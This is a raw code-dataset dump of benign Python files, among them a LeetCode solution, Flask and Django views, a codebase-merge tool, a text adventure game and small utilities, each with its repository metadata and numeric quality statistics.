22.910714

0.799052

0.092751

0

0.285714

1

0

0.086207

0

null

0

0.081633

null

0.102041

0

null

0

1

0

null

0

1

0

2

64aad382a45a9aa9391b084a3435e00b657beb09

517

py

Python

code/672.py

Nightwish-cn/my_leetcode

40f206e346f3f734fb28f52b9cde0e0041436973

[ "MIT" ]

23

2020-03-30T05:44:56.000Z

2021-09-04T16:00:57.000Z

code/672.py

Nightwish-cn/my_leetcode

40f206e346f3f734fb28f52b9cde0e0041436973

[ "MIT" ]

1

2020-05-10T15:04:05.000Z

2020-06-14T01:21:44.000Z

code/672.py

Nightwish-cn/my_leetcode

40f206e346f3f734fb28f52b9cde0e0041436973

[ "MIT" ]

6

2020-03-30T05:45:04.000Z

2020-08-13T10:01:39.000Z

class Solution: def flipLights(self, n, m): """ :type n: int :type m: int :rtype: int """ if n == 1: return 1 if m == 0 else 2 if m == 0: return 1 elif m & 1: if m == 1: return 3 if n <= 2 else 4 else: return 4 if n <= 2 else 8 else: if m == 2: return 4 if n <= 2 else 7 else: return 4 if n <= 2 else 8

24.619048

41

0.34236

70

517

2.528571

0.3

0.084746

0.090395

0.180791

0.310734

0.225989

0

0.094595

0.5706

517

21

42

24.619048

0.702703

0.071567

0

0.3125

0

1

0.0625

false

0

0.5

0

null

0

1

0

1

0

null

0

2

64ad8ccc5514d0a8420bc454f99b90d120b796a0

206

py

Python

help/help.py

Veetaha/python-lab1-purse

bf8e2e941f0722357eab33ce35d0e5ef2bbcbeeb

[ "MIT" ]

null

help/help.py

Veetaha/python-lab1-purse

bf8e2e941f0722357eab33ce35d0e5ef2bbcbeeb

[ "MIT" ]

null

help/help.py

Veetaha/python-lab1-purse

bf8e2e941f0722357eab33ce35d0e5ef2bbcbeeb

[ "MIT" ]

null

from os import path, system, name def clear(): """ Clear console function os-independent :return: NoneType """ if name == 'nt': system('cls') else: system('clear')

15.846154

41

0.548544

23

206

4.913043

0.73913

0

0.315534

206

12

42

17.166667

0.801418

0.271845

0

0.076923

0

1

0.166667

true

0

0.166667

0

0.333333

0

1

0

null

0

null

0

1

0

2

64ba23b72324586717117191e5924bd71bb76399

492

py

Python

database_setup.py

mantoshkumar1/scrapy-practice

aa533f2cb768d97e7eb1fce7243ba51d47e5e7c5

[ "MIT" ]

null

database_setup.py

mantoshkumar1/scrapy-practice

aa533f2cb768d97e7eb1fce7243ba51d47e5e7c5

[ "MIT" ]

1

2022-03-02T14:54:11.000Z

database_setup.py

mantoshkumar1/scrapy-practice

aa533f2cb768d97e7eb1fce7243ba51d47e5e7c5

[ "MIT" ]

null

from sqlalchemy import create_engine from sqlalchemy.engine.url import URL from models import DeclarativeBase from scrapers import settings # Performs database connection using database settings from settings.py # Variable type of engine: sqlalchemy engine engine = create_engine(URL(**settings.DATABASE), echo=True) def create_quotes_table(engine): """""" DeclarativeBase.metadata.create_all(engine) if __name__ == "__main__": create_quotes_table(engine)

25.894737

72

0.762195

59

492

6.101695

0.474576

0.077778

0.094444

0.127778

0

0.164634

492

18

73

27.333333

0.875912

0.227642

0

0.022663

0

1

0.111111

false

0

0.444444

0

0.555556

0

null

0

null

0

1

0

1

0

2

64c0972a1041309f76b4ed0085ed1b63f3b538e3

212

py

Python

lib/python/euler/fibonacci.py

xfbs/ProjectEulerRust

e26768c56ff87b029cb2a02f56dc5cd32e1f7c87

[ "MIT" ]

1

2018-01-26T21:18:12.000Z

lib/python/euler/fibonacci.py

xfbs/ProjectEulerRust

e26768c56ff87b029cb2a02f56dc5cd32e1f7c87

[ "MIT" ]

3

2017-12-09T14:49:30.000Z

2017-12-09T14:59:39.000Z

lib/python/euler/fibonacci.py

xfbs/ProjectEulerRust

e26768c56ff87b029cb2a02f56dc5cd32e1f7c87

[ "MIT" ]

null

import math # phi - the golden ration PHI = (1 + math.sqrt(5)) / 2 # the root of five, we need this a lot ROOT5 = math.sqrt(5) # returns the nth fibonacci number def nth(n): return round((PHI**n) / ROOT5)

16.307692

38

0.650943

38

212

3.631579

0.710526

0.115942

0.130435

0

0.036364

0.221698

212

12

39

17.666667

0.8

0.438679

0

1

0.2

false

0

0.2

0.6

0

null

0

null

0

1

0

2

64c55a7d52cabc1c805230ca7439bdb0a588dbf9

8,580

py

Python

moe/merge_codebases.py

cgruber/make-open-easy

b433ba61d2f7b32d06eb7df8db38ba545827ad5e

[ "Apache-2.0" ]

5

2016-05-08T00:55:46.000Z

2020-03-14T06:57:30.000Z

moe/merge_codebases.py

cgruber/make-open-easy

b433ba61d2f7b32d06eb7df8db38ba545827ad5e

[ "Apache-2.0" ]

null

moe/merge_codebases.py

cgruber/make-open-easy

b433ba61d2f7b32d06eb7df8db38ba545827ad5e

[ "Apache-2.0" ]

10

2015-06-08T21:15:13.000Z

2021-10-16T15:06:01.000Z

#!/usr/bin/env python # Copyright 2010 Google Inc. All Rights Reserved. """Merges codebases. When a change is made to either the generated or public codebase, and you want to fold that into the other, you want to bring in that change, but *not* the changes that made them different codebases to begin with. This is merging the codebases. Merging takes a previous codebase, and the two current codebases (generated and public), and creates the merged codebase. If the previous codebase is public, the merged will be generated, and vice versa. Usage: merge_codebases --generated_codebase=<DIR> --previous_codebase=<DIR> --public_codebase=<DIR> Codebases may be either a directory, or a .tar or .zip file containing the codebase. Returns non-zero if unsuccessful merges. """ __author__ = 'dbentley@google.com (Dan Bentley)' import os import shutil import subprocess import sys import tempfile from google.apputils import app import gflags as flags import logging from moe import base from moe import moe_app FLAGS = flags.FLAGS class MergeCodebasesConfig(object): """Configuration to use for an examination of codebases.""" def __init__( self, generated_codebase, public_codebase, previous_codebase): """Construct. Args: generated_codebase: codebase_utils.Codebase public_codebase: codebase_utils.Codebase previous_codebase: codebase_utils.Codebase """ self.generated_codebase = generated_codebase self.public_codebase = public_codebase self.previous_codebase = previous_codebase self._Check() def _Check(self): """Perform argument checking and expansion.""" if not self.generated_codebase: raise app.UsageError('generated_codebase not set') if not self.public_codebase: raise app.UsageError('public_codebase not set') if not self.previous_codebase: raise app.UsageError('previous_codebase not set') self.merged_codebase = tempfile.mkdtemp( dir=moe_app.RUN.temp_dir, prefix='merged_codebase') print ('Writing merged codebase to %s' % self.merged_codebase) class MergeCodebasesContext(object): """Context to examine codebases.""" def __init__(self, config): """Initialize MergeCodebasesContext. Args: config: MergeCodebasesConfig, configuration """ self.config = config self.files = [] self.merged_files = [] self.failed_merges = [] def GenerateFiles(self): """Determine all the files to examine.""" file_list = [] file_set = set() generated_files = self.config.generated_codebase.Walk() for generated_file in generated_files: file_list.append(generated_file) file_set.add(generated_file) public_files = self.config.public_codebase.Walk() for public_file in public_files: if public_file in file_set: continue file_list.append(public_file) return file_list def Update(self): """Entry point to examine codebases.""" files_to_merge = self.GenerateFiles() self.files = files_to_merge print 'COMPARING %d FILES:' % len(self.files) print ' Generated Codebase: ', self.config.generated_codebase.Path() print ' Public Codebase: ', self.config.public_codebase.Path() print ' Previous Codebase: ', self.config.previous_codebase.Path() print ' Merged Codebase:', self.config.merged_codebase for f in files_to_merge: self.GenerateMergedFile(f) sys.stdout.write('\n') sys.stdout.flush() self.Report() return bool(self.failed_merges) def Report(self): """Print the final report.""" print ('Examined %d generated/public/previous files.' % len(self.files)) if self.merged_files: print ('%d required updating. First (up to) 10:' % len(self.merged_files)) for f in self.merged_files[:10]: print ' ', f if self.failed_merges: print ('%d were unsuccessful. First (up to) 5:' % len(self.failed_merges)) for f in self.failed_merges[:5]: print ' ', f else: print 'No merges required' def GenerateMergedFile(self, f): """Generate the merged file for f.""" sys.stdout.write('.') sys.stdout.flush() generated_file = self.config.generated_codebase.FilePath(f) public_file = self.config.public_codebase.FilePath(f) previous_file = self.config.previous_codebase.FilePath(f) merged_file = os.path.join(self.config.merged_codebase, f) base.MakeDir(os.path.dirname(merged_file)) different = base.AreFilesDifferent(generated_file, public_file) if not different: shutil.copyfile(public_file, merged_file) if base.IsExecutable(public_file): base.SetExecutable(merged_file) return # TODO(dbentley): I probably need to think about executability # So far, I've handled it in push_codebase but not here at all. # This is probably a bug. self.PerformMerge(public_file, previous_file, generated_file, merged_file, f) self.merged_files.append(f) def PerformMerge(self, mod1_file, orig_file, mod2_file, output_file, f): """Merge changes. Args: mod1_file: str, path to the first modified file orig_file: str, path to the original file mod2_file: str, path to the second modified file output_file: str, path to a file to write the file to. f: str, relative filename of file being merged Raises: base.Error: if neither mod1_file nor mod2_file exists. """ # First, we deal with merging deleted files. # merge(1) does not deal with this. orig_exists = os.path.exists(orig_file) mod1_exists = os.path.exists(mod1_file) mod2_exists = os.path.exists(mod2_file) orig_file = (orig_exists and orig_file) or '/dev/null' mod1_file = (mod1_exists and mod1_file) or '/dev/null' mod2_file = (mod2_exists and mod2_file) or '/dev/null' if not (mod1_exists or mod2_exists): raise base.Error('Neither %s nor %s exists' % (mod1_file, mod2_file)) if not orig_exists: # the file was added pass else: if not (mod1_exists and mod2_exists): # the file previously existed, and now was deleted in one branch existing_file = (mod1_exists and mod1_file) or mod2_file if base.AreFilesDifferent(existing_file, orig_file): # one branch wants to delete; another to modify. # This is a failed merge. We note that it's a failed merge, and let # it continue. This will call merge(1) with the previous file, # an empty file, and the current, existing, modified file. This will # create a merge error that we want, so the user can fix it. self.failed_merges.append(f) else: # we want to delete the file; so we just don't output it return # NB(dbentley): merge takes the original file in the middle. Yes it looks # weird, but it is correct. process = subprocess.Popen(['merge', '-p', mod1_file, orig_file, mod2_file], stdout=open(output_file, 'wb')) # Handle executable bit orig_exec = base.IsExecutable(orig_file) mod1_exec = base.IsExecutable(mod1_file) mod2_exec = base.IsExecutable(mod2_file) if mod1_exec == mod2_exec: output_exec = mod1_exec else: # This is clever. Explanation: # The executable bits of the modified files differ. # We should pick the one that differs from the original. # Because these are booleans, we get that by negating the original. output_exec = not orig_exec if output_exec: base.SetExecutable(output_file) # From merge(1)'s man page: # Exit status is 0 for no conflicts, 1 for some conflicts, 2 for trouble. process.wait() if process.returncode != 0: self.failed_merges.append(f) if process.returncode == 1: logging.error('FAILED MERGE %s', output_file) logging.debug( 'FAILED MERGE command: merge -p %s %s %s', mod1_file, orig_file, mod2_file) elif process.returncode == 2: logging.error('Merge found "trouble" when merging: %s %s %s', (mod1_file, orig_file, mod2_file)) elif process.returncode != 0: logging.error('Merge returned status %d (outside of 0, 1, 2).', process.returncode) def main(unused_args): print 'merge_codebases has no standalone mode' print 'email moe-team@ if this is a problem' sys.exit(1) if __name__ == '__main__': app.run()

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null

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null

0

1

0

2

64c83e170e74fdce7a961bc2d36cb3f925975895

2,018

py

Python

app/forms/new_appointment.py

datascisteven/Queens-VA-SMS-Reminder-Project

9dde2852a8fa63d150d9a4c610b9f8d57f7dbc19

[ "Apache-2.0" ]

1

2022-01-22T06:33:38.000Z

app/forms/new_appointment.py

datascisteven/Queens-VA-SMS-Reminder-Project

9dde2852a8fa63d150d9a4c610b9f8d57f7dbc19

[ "Apache-2.0" ]

null

app/forms/new_appointment.py

datascisteven/Queens-VA-SMS-Reminder-Project

9dde2852a8fa63d150d9a4c610b9f8d57f7dbc19

[ "Apache-2.0" ]

1

2022-01-22T06:33:50.000Z

from flask_wtf import FlaskForm from wtforms import StringField, DateTimeField, SelectField from wtforms.validators import DataRequired, Length from pytz import common_timezones def _timezones(): return [(tz, tz) for tz in common_timezones][::-1] # event_types = [('booked', 'Booked'), # ('rescheduled', 'Rescheduled'), # ('modified', 'Modified'), # ('noshowed', 'No-Showed'), # ('cancelled', 'Cancelled'), # ('confirmed', 'Confirmed')] times = ['0.25', '0.5', '1', '2', '12', '24', '48', '168'] def _intervals(): return [(hr, hr + ' hours') for hr in times] class NewAppointmentForm(FlaskForm): # event_type = SelectField( # 'Event Type', choices=event_types, validators=[DataRequired()], default='booked' # ) # event_time = DateTimeField( # 'Appointment time', validators=[DataRequired()], format="%m-%d-%Y %I:%M%p", default=utcnow # ) # patient_id = IntegerField('Patient ID', validators=[DataRequired(), Length(min=6)]) first = StringField( 'Patient First Name', validators=[DataRequired()]) last = StringField( 'Patient Last Name', validators=[DataRequired()]) mobile = StringField( 'Patient Mobile Number', validators=[DataRequired(), Length(min=10)]) # provider_id = IntegerField('Provider ID', validators=[DataRequired(), Length(min=6)]) dr_first = StringField( 'Provider First Name', validators=[DataRequired()]) dr_last = StringField( 'Provider Last Name', validators=[DataRequired()]) location = StringField( 'Appointment Location', validators=[DataRequired()]) interval = SelectField( 'Reminder Interval', choices=_intervals(), validators=[DataRequired()], default=48) time = DateTimeField( 'Appointment Time', validators=[DataRequired()], format="%m-%d-%Y %I:%M%p") timezone = SelectField( 'Appointment Timezone', choices=_timezones(), validators=[DataRequired()])

39.568627

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0.071429

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0

null

1

0

null

0

1

0

2

64cba2f808f8129c5468822e716a045ca39e7b2a

793

py

Python

torchlight/modules/metrics.py

l3robot/torchlight

e9a809aad0b5e75f97bf0cb50c9c799ea7b98eab

[ "MIT" ]

null

torchlight/modules/metrics.py

l3robot/torchlight

e9a809aad0b5e75f97bf0cb50c9c799ea7b98eab

[ "MIT" ]

null

torchlight/modules/metrics.py

l3robot/torchlight

e9a809aad0b5e75f97bf0cb50c9c799ea7b98eab

[ "MIT" ]

null

import abc import numpy as np from sklearn.metrics import accuracy_score class BaseMetric(): def __init__(self): self.preds = [] self.targets = [] def append(self, preds, targets): self.preds.extend(preds.data.cpu().numpy()) self.targets.extend(targets.data.cpu().numpy()) def reset(self): self.preds = [] self.targets = [] def show(self): return '{}: {:.4f}'.format(self.name, self.compute()) @abc.abstractmethod def compute(self): raise NotImplementedError class AccuracyScore(BaseMetric): def __init__(self): super().__init__() self.name = 'accuracy' def compute(self): preds = np.argmax(self.preds, axis=1) return accuracy_score(preds, self.targets)

21.432432

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0.089172

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793

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62

21.432432

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0

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null

0

null

0

1

0

1

0

2

b38ecd7c827d0395c200b4b2390413050257cd1c

599

py

Python

Exercises/Blackjack/player.py

Gwarglemar/PythonExercises

3261892dea4d51b320cde2ce8a47e67a67609d30

[ "MIT" ]

1

2019-05-04T04:49:17.000Z

Exercises/Blackjack/player.py

Gwarglemar/Python

3261892dea4d51b320cde2ce8a47e67a67609d30

[ "MIT" ]

null

Exercises/Blackjack/player.py

Gwarglemar/Python

3261892dea4d51b320cde2ce8a47e67a67609d30

[ "MIT" ]

null

from person import Person class Player(Person): def __init__(self,starting_chips=100): self.hand = [] self.chips = starting_chips def show_hand(self): output = "Player's hand: " for card in self.hand: output = output + str(card) + ' | ' print(output) def remove_chips(self,qty): if self.chips < qty: self.chips = 0 else: self.chips = self.chips - qty def add_chips(self,qty): self.chips += qty def get_chip_total(self): return self.chips

23.96

48

0.534224

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599

4.291667

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0.116505

0.097087

0

0.010554

0.367279

599

25

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23.96

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0

0.052632

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0.052632

0

null

1

0

null

0

1

0

2

b3be5e4d32b31ac0089b95f2765e156e2d1976e1

1,235

py

Python

app/owm_forecast/views.py

Valentin-Golyonko/FlaskTestRPi

b9796a9acb2bb1c122301a3ef192f43c857eb27b

[ "Apache-2.0" ]

null

app/owm_forecast/views.py

Valentin-Golyonko/FlaskTestRPi

b9796a9acb2bb1c122301a3ef192f43c857eb27b

[ "Apache-2.0" ]

null

app/owm_forecast/views.py

Valentin-Golyonko/FlaskTestRPi

b9796a9acb2bb1c122301a3ef192f43c857eb27b

[ "Apache-2.0" ]

null

from django.contrib.auth.mixins import LoginRequiredMixin from rest_framework import status from rest_framework.generics import GenericAPIView from rest_framework.permissions import IsAuthenticated from rest_framework.renderers import TemplateHTMLRenderer from rest_framework.response import Response from app.owm_forecast.models import Forecast from config.settings import LOGOUT_REDIRECT_URL class ForecastView(LoginRequiredMixin, GenericAPIView): login_url = LOGOUT_REDIRECT_URL renderer_classes = [TemplateHTMLRenderer] template_name = 'forecast/forecast.html' permission_classes = (IsAuthenticated,) pagination_class = None @staticmethod def get(request, *args, **kwargs): forecast_obj = Forecast.objects.filter(main_source=True).first() if forecast_obj: out_data = {} if forecast_obj.current_weather_data: out_data.update(forecast_obj.current_weather_data) if forecast_obj.current_air_pollution_data: out_data.update(forecast_obj.current_air_pollution_data) return Response(data=out_data, status=status.HTTP_200_OK) else: return Response(data={}, status=status.HTTP_404_NOT_FOUND)

39.83871

72

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1,235

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0

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false

0

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null

0

null

0

1

0

1

0

2

b3c50cc00310efefd9a39ed3a9611d6fb57a4cf5

11,149

py

Python

pycode2/ex43.py

v-sukt/misc_code

ac5ea0a55a070c88c410d14511c25d332fc675d5

[ "Apache-2.0" ]

null

pycode2/ex43.py

v-sukt/misc_code

ac5ea0a55a070c88c410d14511c25d332fc675d5

[ "Apache-2.0" ]

null

pycode2/ex43.py

v-sukt/misc_code

ac5ea0a55a070c88c410d14511c25d332fc675d5

[ "Apache-2.0" ]

null

#!/usr/bin/env python2.7 """ Guidelines for Object Oriented Analysis and Design: 1. Write down about the problem 2. Extract Key cnocepts from #1 and reseach them 3. Create a class hierarchy and object map for the concepts - in object has-a is-a fastion 4. Code the classes and a test to run them 5. Repeat and refine iti It's all like form a very abstract idea and then solidify it further. Now draw some diagrams depicting the relationship between various things and write description of these things. - once it's perfect (covers all things needed) separate the nouns and verbs from it (classes/objects and methods). - ensure that you fully understand it and can visualize it, if not do some research on them and undestand - get some rough common relations between nouns and how others can be related to each other || a basic hierarchy for classes - check which of these names are similar things? * like same thing - for class and instance of it " * What is basically just another word for another thing?" - create a basic structure and some code - test that it works - keep on adding some code and testing it's working, repeat and refine The mehod used earlier is called top-down method where at top it's just abstract and towards bottom gets more solofied. There is another way which one can use as one become good at programming and there is some part of this bug puzzle known to you and can think the problem in terms of code. Some steps for this way (Bottom Up): 1. Take a small piece of the problem; hack on some code and get it to run barely. 2. Refine the code into something more formal with classes and automated tests. 3. Extract the key concepts you're using and try to find research for them. 4. Write up a description of what's really going on. 5. Go back and refine the code, possibly throwing it out and starting over. 6. Repeat, moving on to some other piece of the problem. Remember that your solution will probably be meandering and weird, so that's why Zed's version of this process involves going back and finding research then cleaning things up based on what you've learned. """ from sys import exit from random import randint class Scene(object): def enter(self): print "This scene is not yet cofigured. Subclass it and implement enter()" exit(1) class Engine(object): def __init__(self, scene_map): self.scene_map = scene_map def play(self): current_scene = self.scene_map.opening_scene() while True: print "\n------------" next_scene_name = current_scene.enter() current_scene = self.scene_map.next_scene(next_scene_name) class Death(Scene): quips = [ "You dead. You kinda suck a this.", "Your mom would be proud...if she were smarter", "Such a luser.", "I've a small puppy that's better at this." ] def enter(self): print Death.quips[randint(0, len(self.quips)-1)] exit(1) class CentralCorridor(Scene): def enter(self): print "The Gothons of Planet Percal #25 have invaded your ship and destroyed" print "your entire crew. You are the last surviving member and your last" print "mission is to get the neutron destruct bomb from the Weapons Armory," print "put it in the bridge, and blow the ship up after getting into an " print "escape pod.\n" print "You're running down the central corridor to the Weapons Armory when" print "a Gothon jumps out, red scaly skin, dark grimy teeth, and evil clown costume" print "flowing around his hate filled body. He's blocking the door to the" print "Armory and about to pull a weapon to blast you." action = raw_input("(shoot!/dodge!/tell a joke)> ") if action == "shoot!": print "Quick on the draw you yank out your blaster and fire it at the Gothon." print "His clown costume is flowing and moving around his body, which throws" print "off your aim. Your laser hits his costume but misses him entirely. This" print "completely ruins his brand new costume his mother bought him, which" print "makes him fly into a rage and blast you repeatedly in the face until" print "you are dead. Then he eats you." return 'death' elif action == "dodge!": print "Like a world class boxer you dodge, weave, slip and slide right" print "as the Gothon's blaster cranks a laser past your head." print "In the middle of your artful dodge your foot slips and you" print "bang your head on the metal wall and pass out." print "You wake up shortly after only to die as the Gothon stomps on" print "your head and eats you." return 'death' elif action == "tell a joke": print "Lucky for you they made you learn Gothon insults in the academy." print "You tell the one Gothon joke you know:" print "Lbhe zbgure vf fb sng, jura fur fvgf nebhaq gur ubhfr, fur fvgf nebhaq gur ubhfr." print "The Gothon stops, tries not to laugh, then busts out laughing and can't move." print "While he's laughing you run up and shoot him square in the head" print "putting him down, then jump through the Weapon Armory door." return 'laser_weapon_armory' else: print "DOES NOT COMPUTE!" return 'central_corridor' class LaserWeaponArmory(Scene): def enter(sef): print "You do a dive roll into the Weapon Armory, crouch and scan the room" print "for more Gothons that might be hiding. It's dead quiet, too quiet." print "You stand up and run to the far side of the room and find the" print "neutron bomb in its container. There's a keypad lock on the box" print "and you need the code to get the bomb out. If you get the code" print "wrong 10 times then the lock closes forever and you can't" print "get the bomb. The code is 3 digits." code = "%d%d%d" % (randint(1,9),randint(1,9),randint(1,9)) try: # cheat code - just type two nos rather than one guess = int(raw_input("[keypad]> ")) guesses = 0 while guess != code and guesses < 10: print "BZZZZEDDD!" guesses += 1 guess = int(raw_input("[keypad]> ")) # The bug in the game - there is no escape unless you compare integer with integer except ValueError: guess = code if guess == code: print "The container clicks open and the seal breaks, letting gas out." print "You grab the neutron bomb and run as fast as you can to the" print "bridge where you must place it in the right spot." return 'the_bridge' else: print "The lock buzzes one last time and then you hear a sickening" print "melting sound as the mechanism is fused together." print "You decide to sit there, and finally the Gothons blow up the" print "ship from their ship and you die." return 'death' exit(0) class TheBridge(Scene): def enter(self): print "You burst onto the Bridge with the neutron destruct bomb" print "under your arm and surprise 5 Gothons who are trying to" print "take control of the ship. Each of them has an even uglier" print "clown costume than the last. They haven't pulled their" print "weapons out yet, as they see the active bomb under your" print "arm and don't want to set it off." action = raw_input("(throw the bomb/slowly place the bomb/something else)> ") if action == "throw the bomb": print "In a panic you throw the bomb at the group of Gothons" print "and make a leap for the door. Right as you drop it a" print "Gothon shoots you right in the back killing you." print "As you die you see another Gothon frantically try to disarm" print "the bomb. You die knowing they will probably blow up when" print "it goes off." return 'death' elif action == "slowly place the bomb": print "You point your blaster at the bomb under your arm" print "and the Gothons put their hands up and start to sweat." print "You inch backward to the door, open it, and then carefully" print "place the bomb on the floor, pointing your blaster at it." print "You then jump back through the door, punch the close button" print "and blast the lock so the Gothons can't get out." print "Now that the bomb is placed you run to the escape pod to" print "get off this tin can." return 'escape_pod' else: print "DOES NOT COMPUTE!" return "the_bridge" class EscapePod(Scene): def enter(self): print "You rush through the ship desperately trying to make it to" print "the escape pod before the whole ship explodes. It seems like" print "hardly any Gothons are on the ship, so your run is clear of" print "interference. You get to the chamber with the escape pods, and" print "now need to pick one to take. Some of them could be damaged" print "but you don't have time to look. There's 5 pods, which one" print "do you take?" good_pod = randint(1,5) try: # cheat code - just type two nos rather than one guess = int(raw_input("[pod #]> ")) # The bug in the game - there is no escape unless you compare integer with integer except: guess = good_pod if int(guess) != good_pod: print "You jump into pod %s and hit the eject button" % guess print "The pod escapes out into the void of space, then" print "implodes as the hull ruptures, crushing your body" print "into jam jelly." return 'death' else: print "You jump into pod %s and hit the eject button." % guess print "The pod easily slides out into space heading to" print "the planet below. As it flies to the planet, you look" print "back and see your ship implode then explode like a" print "bright star, taking out the Gothon ship at the same" print "time. You won!" return 'finished' class Map(object): scenes = { 'central_corridor' : CentralCorridor(), 'laser_weapon_armory' : LaserWeaponArmory(), 'the_bridge' : TheBridge(), 'escape_pod' : EscapePod(), 'death' : Death() } def __init__(self, start_scene): self.start_scene = start_scene def next_scene(self, scene_name): return Map.scenes.get(scene_name) def opening_scene(self): return self.next_scene(self.start_scene) a_map = Map("central_corridor") a_game = Engine(a_map) a_game.play()

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11,149

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null

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null

0

1

0

1

0

2

b3d5c451d19cad58cf067b19b358900f24263b22

283

py

Python

schumt/criterion/__init__.py

Schureed/SchuMT

f4438c26243a6e736a71f376a0e186ba7c01f130

[ "Unlicense" ]

null

schumt/criterion/__init__.py

Schureed/SchuMT

f4438c26243a6e736a71f376a0e186ba7c01f130

[ "Unlicense" ]

null

schumt/criterion/__init__.py

Schureed/SchuMT

f4438c26243a6e736a71f376a0e186ba7c01f130

[ "Unlicense" ]

null

import importlib import os import schumt.builder builder = schumt.builder.Builder() for _filename in os.listdir(os.path.dirname(__file__)): if not _filename.endswith('.py') or '__' in _filename: continue importlib.import_module(__package__ + '.' + _filename[:-3])

23.583333

63

0.717314

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283

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0.6

0.159574

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0.159011

283

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0.785714

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false

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0.5

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null

0

1

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null

0

1

0

2

b60262f3bc9e43c9ceff274eda24792109e04191

1,242

py

Python

demos/kitchen_sink/studies/shrine/shrine.py

ibrahimcetin/KivyMD

b8b718f24ce8d7dc90b78ea62574e208ef32776a

[ "MIT" ]

1

2020-10-03T04:30:59.000Z

demos/kitchen_sink/studies/shrine/shrine.py

ibrahimcetin/KivyMD

b8b718f24ce8d7dc90b78ea62574e208ef32776a

[ "MIT" ]

null

demos/kitchen_sink/studies/shrine/shrine.py

ibrahimcetin/KivyMD

b8b718f24ce8d7dc90b78ea62574e208ef32776a

[ "MIT" ]

1

2020-10-19T21:18:43.000Z

""" MDShrine demo ============= .. seealso:: `Material Design spec, Shrine <https://material.io/design/material-studies/shrine.html#>` Shrine is a retail app that uses Material Design components and Material Theming to express branding for a variety of fashion and lifestyle items. """ import os from kivy.lang import Builder from kivy.properties import StringProperty from kivy.uix.screenmanager import ScreenManager from kivymd.theming import ThemableBehavior Builder.load_string( """ #:import FadeTransition kivy.uix.screenmanager.FadeTransition #:import ShrineRegisterScreen studies.shrine.baseclass.register_screen.ShrineRegisterScreen #:import ShrineRootScreen studies.shrine.baseclass.shrine_root_screen.ShrineRootScreen <MDShrine> transition: FadeTransition() ShrineRegisterScreen: title: root.title ShrineRootScreen: title: root.title """ ) KV_DIR = f"{os.path.dirname(__file__)}/kv" for kv_file in os.listdir(KV_DIR): with open(os.path.join(KV_DIR, kv_file), encoding="utf-8") as kv: Builder.load_string(kv.read()) class MDShrine(ThemableBehavior, ScreenManager): title = StringProperty("SHRINE") def __init__(self, **kwargs): super().__init__(**kwargs)

24.84

92

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6.121622

0.5

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1,242

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false

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0

null

0

null

0

1

0

1

0

2

3739e12e57043c6c3a410e59b83e85212fd9c9aa

240

py

Python

6.00.1x/MidTerm Quiz/P6Flatten.py

MErmanProject/My-Projects

ca393b71ea8537f21a28dc6ca1558da27bcaa907

[ "CC0-1.0" ]

null

6.00.1x/MidTerm Quiz/P6Flatten.py

MErmanProject/My-Projects

ca393b71ea8537f21a28dc6ca1558da27bcaa907

[ "CC0-1.0" ]

null

6.00.1x/MidTerm Quiz/P6Flatten.py

MErmanProject/My-Projects

ca393b71ea8537f21a28dc6ca1558da27bcaa907

[ "CC0-1.0" ]

null

def flatten(aList): myList = [] for el in aList: if isinstance(el, list) or isinstance(el, tuple): myList.extend(flatten(el)) else: myList.append(el) return myList

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0

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null

0

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376c345eb31698469708d64bc5b16f95f11dbfbe

3,033

py

Python

verified_email_change/views.py

fusionbox/django-verified-email-change

fb4b08eb6d1a419ed73409aa33b39a04779e773a

[ "BSD-2-Clause" ]

1

2019-11-04T20:52:37.000Z

verified_email_change/views.py

fusionbox/django-verified-email-change

fb4b08eb6d1a419ed73409aa33b39a04779e773a

[ "BSD-2-Clause" ]

null

verified_email_change/views.py

fusionbox/django-verified-email-change

fb4b08eb6d1a419ed73409aa33b39a04779e773a

[ "BSD-2-Clause" ]

1

2017-09-16T03:03:06.000Z

from django.views.generic import FormView, UpdateView from django.db import transaction from django.contrib import messages from django.shortcuts import get_object_or_404 from django.contrib.auth import get_user_model from django.conf import settings from django.shortcuts import resolve_url from django.utils.functional import cached_property from django.utils.translation import ugettext as _ from decoratormixins.auth import LoginRequiredMixin from .forms import ChangeEmailForm, ChangeEmailCheckPasswordForm from .signals import email_changed from . import initiate_email_change, get_email_change_data User = get_user_model() class SuccessUrlMixin(object): def get_success_url(self): return resolve_url(settings.LOGIN_REDIRECT_URL) class ChangeEmailView(LoginRequiredMixin, SuccessUrlMixin, FormView): form_class = ChangeEmailCheckPasswordForm template_name = 'verified_email_change/change_email.html' def get_form_kwargs(self): kwargs = super().get_form_kwargs() # If we pass self.request.user to the form, the form will update it when calling # form.is_valid(). This will mess up the signed_data computation in View.form_valid(). # This is why we need a copy of self.request.user: kwargs['instance'] = User.objects.get(pk=self.request.user.pk) return kwargs @transaction.atomic def form_valid(self, form): new_email = form.cleaned_data['email'] initiate_email_change(self.request.user, new_email) messages.success(self.request, _("A confirmation email has been sent to {}.").format( new_email )) return super().form_valid(form) class ChangeEmailConfirmView(SuccessUrlMixin, UpdateView): template_name = 'verified_email_change/change_email_confirm.html' form_class = ChangeEmailForm def get_form_kwargs(self): kwargs = { 'instance': self.object, 'initial': self.get_initial(), 'prefix': self.get_prefix(), 'data': {'email': self.data['email']}, } return kwargs @cached_property def data(self): return get_email_change_data(self.kwargs['signed_data']) def get_object(self): # Raise a 404 if the user already changed its email address return get_object_or_404(User, pk=self.data['pk'], email=self.data['old_email']) def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['data'] = self.data return context def form_valid(self, form): email_changed.send( sender=self, user=self.object, new_email=self.data['email'], old_email=self.data['old_email'], request=self.request, ) # TODO: what should be done if request.user != object.user? messages.success(self.request, _("Your email address has been changed to {}.").format( self.data['email'] )) return super().form_valid(form)

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null

0

null

0

1

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1

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2

376f670e1b8f00ad55925305051637b057fa3ff7

359

py

Python

backend/app/db.py

s-bose/offline-password-manager

85b5478d70bb51c2364d0d207cf66f8a11782623

[ "MIT" ]

null

backend/app/db.py

s-bose/offline-password-manager

85b5478d70bb51c2364d0d207cf66f8a11782623

[ "MIT" ]

null

backend/app/db.py

s-bose/offline-password-manager

85b5478d70bb51c2364d0d207cf66f8a11782623

[ "MIT" ]

null

from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.declarative import declarative_base from app.core.config import DATABASE_URL engine = create_engine(DATABASE_URL) # database engine SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine) Base = declarative_base() # sqlalchemy Base class

35.9

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359

9

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null

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null

0

1

0

2

3797bf049c28b8a4dcb96d0451d19e810f024303

280

py

Python

setup.py

jallen13/google_auth

